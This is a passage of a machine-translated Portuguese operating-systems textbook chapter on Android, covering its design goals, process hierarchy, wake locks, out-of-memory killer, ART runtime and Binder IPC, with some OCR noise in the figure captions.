"armazenamento com escopo definido" para controlar melhor o acesso aos dados em aplicativos que 


estão colocando dados em armazenamento externo (como cartões SD). 


10. Android 11 (2020): Permitiu que o usuário selecionasse "apenas desta vez" para 
permissões que fornecem acesso a dados pessoais contínuos: localização, 
câmera e microfone. 


11. Android 12 (2021): deu ao usuário controle sobre acesso de localização grosseira e precisa. 
Introduziu um "hub de permissões" que permite aos usuários ver 
como os aplicativos acessam seus dados pessoais. Limitado 
outros casos (usando serviços de primeiro plano) onde os aplicativos poderiam ir 
em um estado de primeiro plano a partir do plano de fundo. 
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10.8.3 Metas de Projeto 


Vários objetivos importantes de design para a plataforma Android evoluíram durante seu 
desenvolvimento: 


1. Fornecer uma plataforma completa de código aberto para dispositivos móveis. A parte 
de código aberto do Android é uma pilha de sistema operacional de baixo para 
cima, incluindo uma variedade de aplicativos, que pode ser fornecida como um 
produto completo. 


2. Apoie fortemente aplicativos proprietários de terceiros com uma API robusta e estável. 
Conforme discutido anteriormente, é um desafio manter uma plataforma que seja 
verdadeiramente de código aberto e também estável o suficiente para aplicativos 
proprietários de terceiros. O Android usa uma combinação de soluções técnicas 
(especificando um SDK muito bem definido e uma divisão entre APIs públicas e 
implementação interna) e requisitos de política (por meio do CDD) para resolver 
isso. 


3. Permitir que todos os aplicativos de terceiros, incluindo os do Google, concorram em 
igualdade de condições. O código-fonte aberto do Android foi projetado para ser o 
mais neutro possível em relação aos recursos de sistema de nível superior criados 
sobre ele, desde o acesso a serviços em nuvem (como sincronização de dados ou 
APIs de mensagens da nuvem para o dispositivo) até bibliotecas ( como a biblioteca 
de mapeamento do Google) e serviços avançados como lojas de aplicativos. 


4. Fornecer um modelo de segurança de aplicativos no qual os usuários não precisem 
confiar profundamente em aplicativos de terceiros e não precisem depender de um 
guardião (como uma operadora) para controlar quais aplicativos podem ser 
instalados no dispositivo para protegê-los . O próprio sistema operacional deve 
proteger o usuário do mau comportamento dos aplicativos, não apenas dos 
aplicativos com bugs que podem causar seu travamento, mas também do uso 
indevido mais sutil do dispositivo e dos dados do usuário nele contidos. Quanto 
menos os usuários precisarem confiar nos aplicativos ou nas fontes desses 
aplicativos, mais liberdade eles terão para testá-los e instalá-los. 


5. Suporte à interação típica do usuário móvel, onde o usuário geralmente passa curtos 
períodos de tempo em muitos aplicativos. A experiência móvel tende a envolver 
breves interações com os aplicativos: olhar para novos e-mails recebidos, receber 
e enviar uma mensagem SMS ou IM, acessar os contatos para fazer uma chamada, 
etc. tempos de troca; a meta para o Android geralmente é de 200 ms para inicializar 
a frio um aplicativo básico até o ponto de mostrar uma interface de usuário 
totalmente interativa. 


6. Gerenciar processos de aplicativos para usuários, simplificando a experiência do 
usuário em torno dos aplicativos para que os usuários não precisem se preocupar com 


Machine Translated by Google 


SEC. 10.8 ANDRÓIDE 801 


fechar aplicativos quando terminar de usá-los. Os dispositivos móveis também 
tendem a funcionar sem o espaço de troca que permite que os sistemas operacionais 
falhem com mais eficiência quando o conjunto atual de aplicativos em execução 
requer mais RAM do que a fisicamente disponível. Para atender a esses dois 
requisitos, o sistema precisa adotar uma postura mais proativa no gerenciamento 

de processos de aplicativos e na decisão de quando eles devem ser iniciados e 
interrompidos. 


7. Incentive os aplicativos a interoperar e colaborar de maneira rica e segura. Os 
aplicativos móveis são, de certa forma, um retorno aos comandos shell: em vez do 
design monolítico cada vez maior dos aplicativos de desktop, eles geralmente são 
direcionados e mais focados em necessidades específicas. Para ajudar a apoiar 
isso, O sistema operacional deve fornecer novos tipos de recursos para que esses 
aplicativos colaborem entre si e criem um todo maior. 


8. Crie um sistema operacional completo de uso geral. Os dispositivos móveis são uma 
nova expressão da computação de uso geral, e não algo mais simples do que 
nossos sistemas operacionais de desktop tradicionais. O design do Android deve 
ser rico o suficiente para se tornar pelo menos tão capaz quanto um sistema 
operacional tradicional. 


10.8.4 Arquitetura Android 


O Android é construído sobre o kernel padrão do Linux, com apenas algumas extensões 
significativas para o próprio kernel, que serão discutidas mais tarde. Uma vez no espaço do usuário, 
entretanto, sua implementação é bem diferente de uma distribuição Linux tradicional e utiliza muitos 
dos recursos do Linux que você já conhece, mas de maneiras muito diferentes. 


Como em um sistema Linux tradicional, o primeiro processo no espaço do usuário do Android 
é o init, que é a raiz de todos os outros processos. O início do processo de inicialização do Android 
dos daemons é diferente, porém, focado mais em detalhes de baixo nível (gerenciamento de 
sistemas de arquivos e acesso de hardware) em vez de instalações de usuário de nível superior, 
como agendamento de tarefas cron. O Android também possui uma camada adicional de processos, 
aqueles que executam ART (para Android Runtime que implementa o ambiente de linguagem 
Java); estes são responsáveis por executar todas as partes do sistema implementado em Java. 

A Figura 10.39 ilustra a estrutura básica do processo do Android. O primeiro é o processo init , 
que gera vários processos daemon de baixo nível. Um deles é o zigoto, que é a raiz dos processos 
da linguagem Java de nível superior. 

O init do Android não executa um shell da maneira tradicional, pois um dispositivo Android 
típico não possui um console local para acesso ao shell. Em vez disso, o processo daemon adbd 
escuta conexões remotas (como via USB) que solicitam shell 
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Aplicativo 
Dalvik Dalvik Dalvik processos 
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Dalvik Dalvik processos 
. zigoto Demôni 
instalar gerente de serviço adbd 7 emônios 
Dalvik 


To 


Núcleo 


Figura 10-39. Hierarquia de processos do Android. 


acesso, bifurcando processos shell para eles conforme necessário. Essas partes estão sempre lá, 
não importa qual plataforma está sendo usada ou quais recursos ela possui. 

Como a maior parte do Android é escrita na linguagem Java, o daemon zigoto e 
os processos que ele inicia são centrais para o sistema. O primeiro processo do zigoto sempre começa 
é chamado de servidor do sistema, que contém todos os serviços principais do sistema operacional. 

As partes principais disso são o gerenciador de energia, o gerenciador de pacotes, o gerenciador de janelas e 
gerente de atividades. 

Outros processos serão criados a partir do zigoto conforme necessário. Alguns destes são 
Processos “persistentes” que fazem parte do sistema operacional básico, como a pilha de telefonia no 
processo telefônico, que deve permanecer sempre em execução. Adicional 
os processos do aplicativo serão criados e interrompidos conforme necessário enquanto o sistema estiver 
correndo. 

As aplicações interagem com o sistema operacional por meio de chamadas às bibliotecas por ele 
fornecidas, que juntas compõem o framework Android. Alguns desses 
bibliotecas podem realizar seu trabalho dentro desse processo, mas muitas precisarão realizar 
comunicação entre processos com outros processos, geralmente serviços no processo do servidor do 
sistema . 

A Figura 10.40 mostra o design típico das APIs da estrutura Android que interagem com os serviços do 
sistema, neste caso o gerenciador de pacotes. O gerenciador de pacotes 
fornece uma API de estrutura para os aplicativos chamarem em seus processos locais, aqui o 
Classe PackageManager . Internamente, esta classe precisa obter uma conexão com o 
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serviço correspondente no servidor do sistema. Para conseguir isso, no momento da inicialização, o 
servidor do sistema publica cada serviço sob um nome bem definido no gerenciador de serviços, 
um daemon iniciado pelo init. O PackageManager no processo de aplicação recupera uma conexão 


do gerenciador de serviços para seu serviço de sistema usando esse 
mesmo nome. 


Processo de aplicação Servidor do sistema 


po je | pj E a da Em) era q jm (pi = 


/ Ñ fe N 


Código do aplicativo 


Gerenciador de pacotes > PackageManagerService 


Fichário IPC 


"pacote" 


a a 


Gerente de serviços 
Figura 10-40. Publicação e interação com serviços do sistema. 


Depois que o PackageManager estiver conectado ao serviço do sistema, ele poderá fazer 
chamadas nele. A maioria das chamadas de aplicativos para PackageManager são implementadas 
como comunicação entre processos usando o mecanismo Binder IPC do Android, neste caso 
fazendo chamadas para a implementação PackageManagerService no servidor do sistema. 

A implementação de PackageManagerService arbitra as interações entre todos os aplicativos 
clientes e mantém o estado que será necessário para vários aplicativos. 


10.8.5 Extensões Linux 


Na maior parte, o Android inclui um kernel Linux padrão que fornece recursos padrão do Linux. 
A maioria dos aspectos interessantes do Android como sistema operacional está na forma como os 
recursos existentes do Linux são usados. Existem também, no entanto, diversas extensões 
significativas para o Linux nas quais o sistema Android depende. 
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Despertar bloqueios 


O gerenciamento de energia em dispositivos móveis é diferente dos sistemas de computação tradicionais, 
então o Android adiciona um novo recurso ao Linux chamado wake locks (também chamados de bloqueadores 
de suspensão) para gerenciar como o sistema entra em suspensão. Isto é importante para economizar energia 
e maximizar o tempo antes que a bateria se esgote. 

Em um sistema de computação tradicional, o sistema pode estar em um dos dois estados de energia: em 
execução e pronto para a entrada do usuário ou profundamente adormecido e incapaz de continuar a execução 
sem uma interrupção externa, como pressionar uma tecla liga/desliga. Durante a execução, peças secundárias 
de hardware podem ser ligadas ou desligadas conforme necessário, mas a própria CPU e as partes principais 
do hardware devem permanecer energizadas para lidar com o tráfego de rede de entrada e outros eventos 
semelhantes. Entrar no estado de suspensão de baixo consumo de energia é algo que acontece relativamente 
raramente: seja quando o usuário coloca explicitamente o sistema em suspensão ou quando ele entra em 
suspensão devido a um intervalo relativamente longo de inatividade do usuário. Sair desse estado de 
suspensão requer uma interrupção de hardware de uma fonte externa, como pressionar uma tecla no teclado, 


momento em que o dispositivo irá acordar e ligar sua tela. 


Os usuários de dispositivos móveis têm expectativas diferentes. Embora o usuário possa desligar a tela 
de uma forma que pareça colocar o dispositivo em hibernação, o estado de hibernação tradicional não é 
realmente desejado. Enquanto a tela de um dispositivo está desligada, o dispositivo ainda precisa funcionar: 
ele precisa ser capaz de receber chamadas, receber e processar dados de mensagens de bate-papo recebidas 
e muitas outras coisas. 

As expectativas em torno de ligar e desligar a tela de um dispositivo móvel também são muito mais 
exigentes do que em um computador tradicional. A interação móvel tende a ocorrer em muitos intervalos curtos 
ao longo do dia: você recebe uma mensagem e liga o dispositivo para vê-la e talvez envie uma resposta de 
uma frase ou encontra amigos passeando com seu novo cachorro e liga o dispositivo para tirar fotos. uma 
foto dela. Nesse tipo de uso móvel típico, qualquer atraso entre retirar o dispositivo até que ele esteja pronto 


para uso tem um impacto negativo significativo na experiência do usuário. 


Dados esses requisitos, uma solução seria simplesmente não fazer com que a CPU entrasse em 
hibernação quando a tela de um dispositivo fosse desligada, para que ela estivesse sempre pronta para ser 
ligada novamente. Afinal, o kernel sabe quando não há trabalho agendado para nenhum thread, e o Linux 
(assim como a maioria dos sistemas operacionais) deixará automaticamente a CPU ociosa e usará menos 
energia nessa situação. 

Uma CPU ociosa, entretanto, não é a mesma coisa que um verdadeiro sono. Por exemplo: 


1. Em muitos chipsets, o estado inativo consome significativamente mais energia do que um 
estado de suspensão real. 


2. Uma CPU ociosa pode ser ativada a qualquer momento se algum trabalho ficar disponível, 
mesmo que esse trabalho não seja importante. 


3. Apenas ter a CPU ociosa não significa que você pode desligar outro hardware que não seria 


necessário em um sono verdadeiro. 
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Os bloqueios de ativação no Android permitem que o sistema entre em um modo de suspensão mais profundo, 
sem estar vinculado a uma ação explícita do usuário, como desligar a tela. O padrão 
O estado do sistema com wake locks é que o dispositivo está em suspensão. Quando o dispositivo estiver 
correndo, para evitar que ele volte a dormir, algo precisa estar segurando um velório 
trancar. 

Enquanto a tela está ligada, o sistema sempre mantém um wake lock que impede o 
dispositivo entre no modo de espera, então ele continuará funcionando, como esperamos. 

Quando a tela está desligada, entretanto, o próprio sistema geralmente não mantém uma 
wake lock, então ele ficará fora do modo de suspensão apenas enquanto alguma outra coisa estiver segurando 
um. Quando não houver mais wake locks mantidos, o sistema entrará em suspensão e poderá voltar 
fora do sono apenas devido a uma interrupção de hardware. 

Assim que o sistema entrar em suspensão, uma interrupção de hardware irá ativá-lo novamente, 
como em um sistema operacional tradicional. Algumas fontes de tal interrupção são alarmes baseados em tempo, 
eventos do rádio celular (como para uma chamada recebida), tráfego de rede recebido e pressionamentos de certos 
botões de hardware (como o botão liga / desliga). 
botão). Os manipuladores de interrupção para esses eventos exigem uma alteração do padrão 
Linux: eles precisam adquirir um wake lock inicial para manter o sistema funcionando depois dele 
lida com a interrupção. 

O wake lock adquirido por um manipulador de interrupção deve ser mantido por tempo suficiente para 
transferir o controle da pilha para o driver no kernel que continuará o processamento 
o evento. Esse driver do kernel é então responsável por adquirir seu próprio wake lock, 


após o qual o wake lock de interrupção pode ser liberado com segurança, sem risco de o sistema voltar a dormir. 


Se o driver for entregar esse evento ao espaço do usuário, será necessário um aperto de mão semelhante. O 
motorista deve garantir que continua mantendo o wake lock 
até que ele entregue o evento a um processo de usuário em espera e garanta que houve 
uma oportunidade de adquirir seu próprio wake lock. Este fluxo pode continuar através 
subsistemas no espaço do usuário também; contanto que algo esteja segurando um wake lock, nós 
continue realizando o processamento desejado para responder ao evento. Uma vez não mais 


os wake locks são mantidos, no entanto, todo o sistema volta a dormir e todo o processamento é interrompido. 


Após o lançamento do Android, houve uma discussão significativa com a comunidade Linux sobre como 
mesclar o recurso wake lock do Android de volta à linha principal. 
núcleo. Isso foi especialmente importante porque os wake locks exigem que os motoristas usem 
para manter o sistema funcionando quando necessário, causando uma bifurcação não apenas do kernel 
mas também quaisquer drivers que precisem fazer isso. 

Por fim, o Linux adicionou um recurso de "evento de ativação", permitindo que drivers e outros 
entidades no kernel para observar quando elas são a origem de uma ativação e/ou precisam 
certifique-se de que o dispositivo continue assim. A decisão de suspender, no entanto, foi movida para o espaço do 
usuário, mantendo a política de quando suspender. 
fora do kernel. O Android fornece uma implementação de espaço do usuário que torna o 
decisão de suspender com base no estado do evento de ativação no kernel, bem como ativar 


bloquear solicitações provenientes de outro lugar no espaço do usuário. 
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Assassino sem memória 


O Linux inclui um “assassino de falta de memória” que tenta se recuperar quando a memória 
está extremamente baixa. Situações de falta de memória em sistemas operacionais modernos são 
assuntos nebulosos. Com paginação e troca, é raro que os próprios aplicativos vejam falhas de falta 
de memória. No entanto, o kernel ainda pode chegar a uma situação em que não consegue encontrar 
páginas de RAM disponíveis quando necessário, não apenas para uma nova alocação, mas ao 
trocar ou paginar em algum intervalo de endereços que está sendo usado agora. 

Em uma situação de pouca memória, o assassino de falta de memória padrão do Linux é o 
último recurso para tentar encontrar RAM para que o kernel possa continuar com o que quer que 
esteja fazendo. Isso é feito atribuindo a cada processo um nível de “maldade” e simplesmente 
eliminando o processo que é considerado o mais ruim. A maldade de um processo é baseada na 
quantidade de RAM usada pelo processo, há quanto tempo ele está em execução e em outros 
fatores; o objetivo é eliminar grandes processos que, esperançosamente, não são críticos. 

O Android exerce pressão especial sobre o assassino por falta de memória. Ele não possui 
espaço de troca, por isso é muito mais comum estar em situações de falta de memória: não há como 
aliviar a pressão da memória, exceto descartando páginas limpas de RAM mapeadas do 
armazenamento que foi usado recentemente. Mesmo assim, o Android usa a configuração padrão 
do Linux para sobrecarregar a memória — ou seja, permitir que o espaço de endereço seja alocado 
na RAM sem garantia de que haja RAM disponível para apoiá-lo. Over commit é uma ferramenta 
extremamente importante para otimizar o uso de memória, já que é comum mapear arquivos 
grandes (como executáveis) onde você só precisará carregar na RAM pequenas partes dos dados 
gerais daquele arquivo. 

Dada esta situação, o assassino de falta de memória padrão do Linux não funciona bem, pois 
é mais um último recurso e tem dificuldade em identificar corretamente bons processos para matar. 
Na verdade, como discutiremos mais tarde, o Android depende extensivamente do assassino de 
falta de memória executado regularmente para colher processos e fazer boas escolhas sobre quais 
selecionar. 

Para resolver isso, o Android introduziu seu próprio eliminador de falta de memória no kernel, 
com diferentes semânticas e objetivos de design. O assassino de falta de memória do Android é 
executado de forma muito mais agressiva: sempre que a RAM está ficando “baixa”. A RAM baixa é 
identificada por um parâmetro ajustável que indica a quantidade de RAM livre e em cache disponível 
no kernel é aceitável. Quando o sistema fica abaixo desse limite, o assassino de falta de memória é 
executado para liberar RAM de outro lugar. O objetivo é garantir que o sistema nunca entre em 
estados de paginação ruins, o que pode impactar negativamente a experiência do usuário quando 
aplicativos em primeiro plano estão competindo por RAM, já que sua execução se torna muito mais 
lenta devido à entrada e saída contínua de paginação. 

Em vez de tentar adivinhar quais processos são menos úteis e, portanto, deveriam ser 
eliminados, o assassino de falta de memória do Android depende muito estritamente das 
informações fornecidas a ele pelo espaço do usuário. O tradicional assassino de falta de memória 
do Linux tem um parâmetro oom adj por processo que pode ser usado para orientá-lo em direção ao 
melhor processo a ser eliminado, modificando a pontuação geral de maldade do processo. O 
assassino de falta de memória original do Android usava esse mesmo parâmetro, mas como uma ordem estrita: processos cc 


Machine Translated by Google 


SEC. 10.8 ANDRÓIDE 807 


um adj de oom mais alto sempre será eliminado antes daqueles com valores mais baixos. Discutiremos mais 
tarde como o sistema Android decide atribuir essas pontuações. 

Em versões posteriores do Android, um novo processo Imkd no espaço do usuário foi adicionado para 
cuidar de eliminar processos, substituindo a implementação original do Android no kernel. Isto foi possível 
graças a recursos mais recentes do Linux, como “informações de travamento de pressão” fornecidas ao 
espaço do usuário. Mudar para Imkd não permite apenas que o Android use 
um kernel Linux mais próximo do padrão, mas também oferece mais flexibilidade na forma como o sistema 
de alto nível interage com o assassino com pouca memória. 

Por exemplo, o parâmetro oom adj no kernel tem um intervalo limite de valores, 
de 16 para 15. Isso limita bastante a granularidade da seleção do processo que pode ser 
fornecido a ele. A nova implementação do Imkd permite um número inteiro completo para ordenação 
processos. 


10.8.6 ARTE 


ART (Android RunTime) implementa o ambiente de linguagem Java em 
Android que é responsável pela execução de aplicativos, bem como pela maior parte de seu sistema 
código. Quase tudo no processo de serviço do sistema — desde o gerenciador de pacotes, passando pelo 
gerenciador de janelas, até o gerenciador de atividades — é implementado com 
Código da linguagem Java executado pelo ART. 

O Android não é, entretanto, uma plataforma de linguagem Java no sentido tradicional. 

O código Java em um aplicativo Android é fornecido no formato bytecode do ART, chamado 
DEX (Dalvik Executable), baseado em uma máquina de registro em vez do bytecode tradicional baseado 
em pilha do Java. 

DEX permite uma interpretação mais rápida, ao mesmo tempo que suporta JIT (Just-in-Time) 
compilação. DEX também é mais eficiente em termos de espaço, tanto em disco quanto em RAM, por meio de 
o uso de pooling de strings e outras técnicas. 

Ao escrever aplicativos Android, o código-fonte é escrito em Java e depois 
compilado em bytecode Java padrão usando ferramentas Java tradicionais. Android então 
introduz uma nova etapa: converter esse bytecode Java em DEX. É a versão DEX de um aplicativo 
empacotado como o aplicativo binário final e, por fim, instalado no dispositivo. 


A arquitetura do sistema Android depende fortemente do Linux para primitivos do sistema, 
incluindo gerenciamento de memória, segurança e comunicação entre segurança 
limites. Ele não usa a linguagem Java para os principais conceitos do sistema operacional — há poucas 
tentativas de abstrair esses aspectos importantes do sistema operacional Linux subjacente. 


Digno de nota é o uso de processos pelo Android. O design do Android não 
contar com a linguagem Java para proteger os aplicativos uns dos outros e do sistema, 
mas adota a abordagem tradicional do sistema operacional de isolamento de processos. 
Isso significa que cada aplicativo está sendo executado em seu próprio processo Linux com seu próprio 


Ambiente ART, assim como o servidor do sistema e outras partes essenciais da plataforma 
que são escritos em Java. 
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Usar processos para esse isolamento permite que o Android aproveite todos os recursos do Linux 
recursos para gerenciar processos, desde o isolamento de memória até a limpeza de todos os 
recursos associados a um processo quando ele desaparece. Além dos processos, 
em vez de usar a arquitetura SecurityManager do Java, o Android depende exclusivamente de 
Recursos de segurança do Linux. 

O uso de processos e segurança do Linux simplifica muito o ambiente ART, uma vez que ele não é 
mais responsável por esses aspectos críticos da estabilidade do sistema. 

e robustez. Não por acaso, também permite que os aplicativos usem livremente 
código em sua implementação, o que é especialmente importante para jogos que são 
geralmente construído com mecanismos baseados em C++. 

Misturar processos e a linguagem Java como essa apresenta alguns desafios. Criar um novo ambiente 
de linguagem Java pode levar mais de um segundo, mesmo em hardware móvel moderno. Lembre-se de 
um dos objetivos de design do Android, 
para poder iniciar aplicativos rapidamente, com uma meta de 200 ms. Exigindo isso 
um novo processo de ART fosse criado para esta nova aplicação estaria muito além 
esse orçamento. É difícil conseguir um lançamento de 200 ms em hardware móvel, mesmo sem a 
necessidade de inicializar um novo ambiente de linguagem Java. 

A solução para esse problema é o daemon nativo do zigoto que mencionamos brevemente no início 
deste capítulo. O Zygote é responsável por criar e inicializar 
ART, até o ponto em que esteja pronto para começar a executar o código do sistema ou do aplicativo escrito 
em Java. Todos os novos processos baseados em ART (sistema ou aplicativo) são bifurcados de 
zigoto, permitindo-lhes iniciar a execução com o ambiente já pronto para funcionar. 

Isso acelera bastante o lançamento de aplicativos. 

Não é apenas a arte que o zigoto traz à tona. O zigoto também pré-carrega muitas partes do 
Estrutura Android que é comumente usada no sistema e no aplicativo, também 
como carregar recursos e outras coisas que muitas vezes são necessárias. 

Observe que a criação de um novo processo a partir do zigoto envolve uma chamada de sistema fork do Linux 
mas não há chamada de sistema exec . O novo processo é uma réplica do zigoto original 
processo, com todo o seu estado pré-inicializado já configurado e pronto para uso. Figura 
10.41 ilustra como um novo processo de aplicação Java está relacionado ao processo original 
processo zigoto . Após a bifurcação, o novo processo tem seu próprio ambiente ART separado, embora 
compartilhe todos os dados pré-carregados e inicializados com o zigoto . 
através de páginas copy-on-write. Tudo o que precisa ser feito agora para que o novo processo em execução 
esteja pronto é fornecer a ele a identidade correta (UID, etc.), concluir qualquer inicialização do ART que 
exija o início de threads e o carregamento do aplicativo ou código do sistema. para ser executado. 


Além da velocidade de lançamento, há outro benefício que o zigoto traz. Porque 
apenas um fork é usado para criar processos a partir dele, a grande quantidade de RAM suja 
páginas necessárias para inicializar o ART e pré-carregar classes e recursos podem ser compartilhadas 
entre o zigoto e todos os seus processos filhos. Este compartilhamento é especialmente importante 
para ambiente Android, onde a troca não está disponível; exigir paginação de limpo 
páginas (como código executável) do disco (memória flash) estão disponíveis. Entretanto, quaisquer páginas 
sujas devem permanecer bloqueadas na RAM; eles não podem ser paginados para “disco”. 
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Figura 10-41. Criando um novo processo ART a partir do zigoto. 
10.8.7 Fichário IPC 


O design do sistema Android gira significativamente em torno do isolamento de processos, 
entre aplicativos e também entre diferentes partes do próprio sistema. Isso requer uma grande 
quantidade de comunicação entre processos para coordenar os diferentes processos, o que pode 
exigir muito trabalho para ser implementado e acertado. O mecanismo de comunicação 
interprocessos Binder do Android é um recurso IPC de uso geral rico sobre o qual a maior parte 
do sistema Android é construído. 

A arquitetura Binder é dividida em três camadas, mostradas na Figura 10.42. Na parte inferior 
da pilha está um módulo do kernel que implementa a interação real entre processos e a expõe 
por meio da função ioctl do kernel . (ioctl é uma chamada de kernel geral para fins específicos 
para enviar comandos personalizados para drivers e módulos do kernel.) No topo do módulo do 
kernel há uma API básica de espaço do usuário orientada a objetos, permitindo que aplicativos 
criem e interajam com terminais IPC por meio do Classes /Binder e Binder . No topo está um 
modelo de programação baseado em interface onde os aplicativos declaram suas interfaces IPC 
e não precisam se preocupar com os detalhes de como o IPC acontece nas camadas inferiores. 


Módulo do kernel do fichário 


Em vez de usar os recursos IPC existentes do Linux, como pipes, o Binder inclui um módulo 
de kernel especial que implementa seu próprio mecanismo IPC. O modelo Binder IPC é diferente 
o suficiente dos mecanismos tradicionais do Linux e não pode ser implementado de forma 
eficiente sobre eles apenas no espaço do usuário. Além disso, Android 
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Módulo do kernel do fichário 


Figura 10-42. Arquitetura IPC do fichário . 


não suporta a maioria das primitivas do System V para interação entre processos 
(semáforos, segmentos de memória compartilhada, filas de mensagens) porque eles não fornecem 
uma semântica robusta para limpar seus recursos de erros ou mal-intencionados. 
formulários. 

O modelo básico de IPC que o Binder usa é o RPC (Remote Procedure Call). Que 
isto é, o processo de envio está submetendo uma operação IPC completa ao kernel, que 
é executado no processo de recebimento; o remetente pode bloquear enquanto o destinatário 
é executado, permitindo que um resultado seja retornado da chamada. (Remetentes opcionalmente 
podem especificar que não devem bloquear, continuando sua execução em paralelo com o 
receptor.) O Binder IPC é, portanto, baseado em mensagens, como as filas de mensagens do System 
V, em vez de ser baseado em fluxo, como nos pipes do Linux. Uma mensagem no Binder é cnamada de 
transação e, em um nível superior, pode ser vista como uma chamada de função em proc 
esses. 

Cada transação que o espaço do usuário envia ao kernel é uma operação completa: 
identifica o alvo da operação e a identidade do remetente, bem como o 


Machine Translated by Google 


SEC. 10.8 ANDRÓIDE 811 


dados completos sendo entregues. O kernel determina o processo apropriado para 
receber essa transação, entregando-a a um thread em espera no processo. 

A Figura 10-43 ilustra o fluxo básico de uma transação. Qualquer thread no processo de origem 
pode criar uma transação identificando seu alvo e submetê-la ao 
o núcleo. O kernel faz uma cópia da transação, adicionando a ela a identidade do 
o remetente. Ele determina qual processo é responsável pelo alvo da transação e ativa uma thread no 
processo para recebê-la. Uma vez que o processo de recebimento esteja em execução, ele determina 
o alvo apropriado da transação e entrega 


isto. 


Processo 1 Processo 2 


Objeto! 


Transação I Transação 


Para: Objeto1 


Para: Objeto1 De: Processo 1 


(Dados) 
(Dados) 


Núcleo | 


Grupo de discussão Transação 


SEO 


Figura 10-43. Transação básica do Binder IPC. 


Grupo de discussão 


Para: Objeto1 
De: Processo 1 


| 
| 
| 
| 
| 
| 
| 
| 
(Dados) 
| 
| 
) 


(Para a discussão aqui, estamos simplificando a forma como os dados da transação se movem 
através do sistema como duas cópias, uma para o kernel e outra para o espaço de endereço do 
processo receptor. A implementação real faz isso em uma cópia. Para cada 
processo que pode receber transações, o kernel cria uma área de memória compartilhada com 
isto. Ao lidar com uma transação, ele primeiro determina o processo que será 
receber essa transação e copiar os dados diretamente para esse endereço compartilhado 
espaço.) 

Observe que cada processo na Figura 10.43 possui um “conjunto de threads”. 
threads criados pelo espaço do usuário para lidar com transações de entrada. O kernel despachará 
cada transação recebida para um thread atualmente aguardando trabalho no pool de threads desse 
processo. Chamadas para o kernel a partir de um processo de envio, entretanto, não 
precisa vir do pool de threads — qualquer thread no processo está livre para iniciar um 
transação, como Ta na Figura 10.48. 

Já vimos que as transações dadas ao kernel identificam um alvo 
objeto; entretanto, o kernel deve determinar o processo receptor. Realizar 
isso, o kernel rastreia os objetos disponíveis em cada processo e os mapeia 
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a outros processos, como mostrado na Figura 10.44. Os objetos que estamos vendo aqui são 
simplesmente locais no espaço de endereço desse processo. O kernel apenas acompanha 
desses endereços de objetos, sem nenhum significado associado a eles; eles podem ser a localização de uma 
estrutura de dados C, objeto C++ ou qualquer outra coisa localizada no 
espaço de endereço. 
Referências a objetos em processos remotos são identificadas por um identificador inteiro, 
que é muito parecido com um descritor de arquivo Linux. Por exemplo, considere Object2a em 
Processo 2 - o kernel sabe que está associado ao Processo 2 e ainda 
o kernel atribuiu o Handle 2 para ele no Processo 1. O Processo 1 pode, portanto, enviar um 
transação para o kernel direcionado ao seu identificador 2, e a partir daí o kernel pode 
determine que isso está sendo enviado para o Processo 2 e especificamente para o Objeto2a nesse processo. 


Processo 1 Núcleo Processo 2 


l l Processo 1 


| 
F l 
Objetota | Objetota 


I 
] 
[i ' 
Objetoib l Objeto1b 
I 
] 
I 


Alça 1 


Processo 2 | l 


l l 
| 
ObjetoZa ! Objeto2a 
| 


Figura 10-44. Mapeamento de objetos entre processos do Binder . 


Também como os descritores de arquivo, o valor de um identificador em um processo não significa 
a mesma coisa que esse valor em outro processo. Por exemplo, na Fig. 10-44, podemos 
veja que no Processo 1, um valor de identificador 2 identifica Object2a; no entanto, em processo 
2, esse mesmo valor de identificador 2 identifica Object1a. Além disso, é impossível para alguém 
processo para acessar um objeto em outro processo se o kernel não tiver atribuído um arquivo de manipulação 
a ele para esse processo. Novamente na Figura 10-44, podemos ver que o Object2b do Processo 2 
é conhecido pelo kernel, mas nenhum identificador foi atribuído a ele para o Processo 1. 
portanto, não há caminho para o Processo 1 acessar esse objeto, mesmo que o kernel tenha atribuído 
trata dele para outros processos. 
Como essas associações identificador-objeto são configuradas em primeiro lugar? 
Ao contrário dos descritores de arquivos do Linux, os processos do usuário não solicitam identificadores diretamente. 
Em vez disso, o kernel atribui identificadores aos processos conforme necessário. Esse processo é ilustrado 
na Figura 10.45. Aqui estamos vendo como a referência ao Object 1b de 
O Processo 2 ao Processo 1 na figura anterior pode ter surgido. A chave para 
é assim que uma transação flui pelo sistema, da esquerda para a direita na parte inferior 
da figura. 
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Processo 1 Núcleo Processo 2 


Processo 1 


3 
Objeto1b 


Alça 2 


1 Transação Transação ` Transação 


Para: Alça 2 5 Para: Object2a Para: Object2a 


Para: Alça 2 
De: Processo 1 De: Processo 1 De: Processo 1 


NE Objetoib 


Dados 


Figura 10-45. Transferindo objetos Binder entre processos. 


As principais etapas mostradas na Figura 10.45 são as seguintes: 


1. O processo 1 cria a estrutura inicial da transação, que contém o 
endereço local Object 1b. 


2. O processo 1 envia a transação ao kernel. 


3. O kernel analisa os dados da transação e encontra o endereço 


Object1b e cria uma nova entrada para ele, uma vez que anteriormente não 
saber sobre este endereço. 


4. O kernel usa o destino da transação, Handle 2, para determinar 
que isso se destina ao Object2a que está no Processo 2. 


5. O kernel agora reescreve o cabeçalho da transação para ser apropriado para 
Processo 2, alterando seu alvo para endereçar Object2a. 


6. Da mesma forma, o kernel reescreve os dados da transação para o processo alvo; aqui 


ele descobre que Object ?b ainda não é conhecido pelo Processo 2, então um 
novo identificador 3 é criado para ele. 


7. Atransação reescrita é entregue ao Processo 2 para execução. 


8. Ao receber a transação, o processo descobre que há um novo 
Handle 3 e adiciona isso à sua tabela de identificadores disponíveis. 


Se um objeto dentro de uma transação já for conhecido pelo processo receptor, o 
fluxo é semelhante, exceto que agora o kernel só precisa reescrever a transação para 
que contém o identificador atribuído anteriormente ou o local do processo receptor 
ponteiro de objeto. Isso significa que enviar o mesmo objeto para um processo várias vezes 
sempre resultará na mesma identidade, ao contrário dos descritores de arquivos do Linux, onde a abertura 
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o mesmo arquivo várias vezes alocará um descritor diferente a cada vez. O sistema Binder IPC mantém 


identidades de objetos exclusivas à medida que esses objetos se movem entre os processos. 


A arquitetura Binder introduz essencialmente um modelo de segurança baseado em recursos para o Linux. 
Cada objeto Binder é um recurso. Enviar um objeto para outro processo concede essa capacidade ao processo. 
O processo de recebimento pode então fazer uso de quaisquer recursos que o objeto forneça. Um processo pode 
enviar um objeto para outro processo, posteriormente receber um objeto de qualquer processo e identificar se o 
objeto recebido é exatamente o mesmo objeto que foi originalmente enviado. 


API de espaço do usuário do Binder 


A maior parte do código do espaço do usuário não interage diretamente com o módulo do kernel do Binder . 
